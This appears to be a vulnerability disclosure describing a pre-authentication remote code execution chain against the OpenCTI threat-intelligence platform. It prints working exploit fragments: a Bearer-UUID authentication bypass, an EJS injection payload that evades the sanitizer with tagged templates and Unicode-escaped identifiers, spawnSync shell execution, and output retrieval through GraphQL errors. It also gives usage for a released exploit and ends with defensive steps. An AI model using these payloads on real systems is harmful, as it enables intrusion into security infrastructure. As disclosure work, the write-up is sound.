This chain was developed and validated during an authorized offensive security assessment under real-world conditions. Client identifiers, infrastructure details, credentials and sensitive data have been removed. The technical examples below come from the validated exploit iterations -- not generic SSTI examples.
Executive impact
OpenCTI is commonly deployed as a trusted component of SOC and Blue Team operations. It aggregates threat intelligence, observables, relationships and enrichment data used by analysts and downstream security workflows. A pre-authentication RCE against that platform is therefore not merely another web-application compromise.
An external attacker can gain command execution inside a defensive platform, access sensitive runtime configuration, reach supporting internal services and potentially alter the information on which analysts base detection and incident-response decisions. The immediate technical impact is container compromise; the broader impact is loss of confidentiality and integrity across the CTI workflow.
Attacker
as Bearer
GraphQL
Injection
Bypass
Pre-Auth RCE
Stage 1 -- Removing the authentication boundary
CVE-2026-27960 allowed an existing OpenCTI user UUID to be supplied directly as Bearer material. In the validated chain, a low-impact GraphQL identity query returned the selected administrator identity, confirming that subsequent operations were processed with the administrator's server-side security context.
Authorization: Bearer <administrator-uuid>
query {
me { id name user_email }
}
This vulnerability did not execute code by itself. Its precise role was to remove the authorization boundary protecting the notifier functionality required by the second vulnerability.
Stage 2 -- How attacker input reaches server-side execution
The controlled value is not a Node.js payload injected directly into the process. It begins as an EJS template embedded in the serialized notifier configuration sent to the privileged notifierTest GraphQL operation.
notifier_configuration contains an attacker-controlled template string.The root cause is the evaluation of attacker-controlled EJS inside the privileged OpenCTI server process. The sanitizer attempts to make this safe by rejecting known-dangerous text and recognizable call syntax, but it analyzes the serialized representation rather than executing the template in a genuinely isolated runtime.
A dynamic language can reconstruct identifiers and invocation semantics at parse or runtime. The validator and the JavaScript engine therefore do not necessarily see the same effective program.
The hard part -- Concrete iterations from the engagement
Confirming that template input was evaluated was only the first milestone. The real work was learning exactly where each candidate failed and then changing one property at a time. The following examples are taken from the validated exploit development history.
Attempt 1 -- Conventional exception handling collided with the call filter
try {
// execution path
} catch (error) {
// preserve evidence
}
The validator's function-call expression treated the raw sequence catch( as an unauthorized call. This is not a JavaScript security boundary; it is a textual false positive. The reliable command stage was redesigned without any catch(...) construct.
Attempt 2 -- Proving the bypass before executing a command
The first successful probe was intentionally smaller than the final RCE. It answered one question only: can a validator-compatible EJS expression reach the server's Node.js runtime?
<%=(Function`throw Error["call"](null,"OPENCTI-NODE-"+pro\u0063ess.version)`)``%>
This expression combines three concrete techniques used in the final chain:
Function`...`constructs a function through tagged-template syntax rather than a conventionalFunction(...)call.- The resulting function is invoked with an empty tagged template:
``. pro\u0063essavoids placing the raw forbidden wordprocessin the serialized configuration while JavaScript reconstructs the intended identifier.Error["call"]avoids the conventionalError(...)syntax and returns a marker through the observable GraphQL error channel.
Receiving OPENCTI-NODE-<version> proved both sanitizer bypass and execution inside the OpenCTI Node.js process. It did not yet prove command execution.
Attempt 3 -- Reconstructing built-in module access
Once the runtime context was confirmed, the exploit reconstructed the process and module names that could not safely appear as raw contiguous strings:
const p = pro\u0063ess;
const c = p["getBuiltinMo\u0064ule"]("child_pro\u0063ess");
const f = p["getBuiltinMo\u0064ule"]("fs");
EJS is only the injection vehicle. It evaluates JavaScript inside OpenCTI; JavaScript then reaches the Node.js runtime; the runtime's built-in modules finally provide process creation and filesystem primitives. This is why the article refers to Node.js only after the EJS-to-runtime transition has been established.
Attempt 4 -- Why execSync was not reliable enough
An earlier version used execSync. It could execute commands, but a non-zero shell exit code raised an exception before the exploit persisted the result. In a real assessment that creates ambiguity: did the payload fail, did the command execute and return an error, or was output propagation the only broken stage?
The final implementation switched to spawnSync, which returns a structured result even when the shell exits non-zero:
const r = c["spawnSync"](
"/bin/sh",
["-c", command],
{ encoding: "utf8", timeout: 120000, maxBuffer: 1048576 }
);
The exploit then preserves exit status, signal, runtime error, stdout and stderr. This turned a code-execution primitive into usable engagement evidence.
Attempt 5 -- A response marker produced a false positive
One iteration searched the complete GraphQL error for an OPENCTI-WRITE-OK marker. That was unsafe because EJS error messages can include the template source itself: the marker could appear even when the execution stage had not produced the evidence file.
The final chain treats the existence and content of the unique remote file as authoritative. A later request must read it successfully before RCE is reported.
Passing the sanitizer was not equivalent to obtaining RCE. The expression still had to compile as EJS, execute as JavaScript in the actual OpenCTI context, reach Node.js built-ins and produce independently retrievable evidence.
Reliable output retrieval without callbacks
The assessed network was segmented. Reverse shells and external callbacks were not suitable dependencies, and successful SMTP delivery was unnecessary. The final exploit uses a two-stage application-mediated evidence channel:
- Execute the command with
spawnSyncand write a Base64-encoded structured result to a unique file under/tmp. - Send a second notifier render that reads the file and throws
OPENCTI-RCE-B64-<data>through a controlled error. - Decode the evidence locally, then issue a final render that removes the temporary file.
const d = f["readFileSync"](remoteFile, "utf8");
throw Error["call"](null, "OPENCTI-RCE-B64-" + d);
Read retries are intentional: if multiple API replicas sit behind a reverse proxy, the command stage and read stage may reach different container filesystems. Retrying the read improves reliability without re-executing the command.
Full-chain exploitation
Unauthenticated attacker
|
v
CVE-2026-27960 -- privileged UUID accepted as Bearer material
|
v
Administrator GraphQL context
|
v
Platform mailer discovery and notifierTest access
|
v
CVE-2026-39980 -- attacker-controlled EJS rendering
|
v
Tagged-template invocation + Unicode identifier reconstruction
|
v
getBuiltinModule("child_process") + getBuiltinModule("fs")
|
v
spawnSync("/bin/sh", ["-c", command])
|
v
Base64 evidence file -> controlled GraphQL error -> cleanup
|
v
Reliable pre-authentication RCE
Post-exploitation impact
Post-exploitation was controlled and limited to the authorized mission objectives. The compromise confirmed access to application runtime configuration, sensitive OpenCTI data paths and network reachability toward supporting internal services. Details that could identify the assessed environment -- service names, credentials, addresses, datasets and extracted content -- are intentionally omitted.
For a SOC or Blue Team, the critical outcome is loss of trust in the CTI platform itself. Once the OpenCTI runtime is attacker-controlled, both the confidentiality of intelligence and the integrity of information consumed by analysts must be considered compromised.
Exploit release
The complete chain was developed and validated during an authorized offensive security assessment under real-world conditions. Following the remediation period, the final exploit is now publicly available as a single standalone Python implementation reproducing the complete workflow from administrator impersonation to reliable command execution, deterministic output retrieval and cleanup.
The public release focuses on the final validated attack path. It excludes client-specific artefacts, infrastructure details and post-exploitation components that are not required to demonstrate the vulnerability chain.
python3 CVE-2026-27960-39980-OpenCTI-PreAuth-RCE.py \
-u https://opencti.example \
-a <privileged-user-uuid> \
-c 'id'
View the standalone Python full-chain exploit on kmkz/Exploits.
Attention point -- Possible remediation bypass
On August 4, 2026, following the public announcement of this research, Giuseppe "N3mes1s" reported on X a possible bypass of the initial safeEjs remediation using Unicode-escaped identifiers. At the time of publication, BOSS has not independently reproduced the claim against a clean patched deployment. It should be treated as an important attention point, not yet as confirmation that the fix is incomplete.
Defensive actions
- Upgrade OpenCTI to versions addressing both CVE-2026-27960 and CVE-2026-39980.
- Do not assess the two vulnerabilities in isolation; the authentication bypass removes the privilege precondition of the notifier injection.
- Review notifier-test activity, unusual GraphQL errors and unexpected temporary-file behavior.
- Rotate application and integration secrets when exposure is suspected.
- Authenticate and restrict supporting services reachable from the OpenCTI runtime.
- Treat OpenCTI as a critical SOC asset whose integrity must be monitored.
References
- OpenCTI advisory — CVE-2026-27960 (affected: 6.6.0 through 6.9.12; fixed in 6.9.13)
- OpenCTI advisory — CVE-2026-39980 (affected: versions before 6.9.5; fixed in 6.9.5)
- NVD — CVE-2026-27960
- NVD — CVE-2026-39980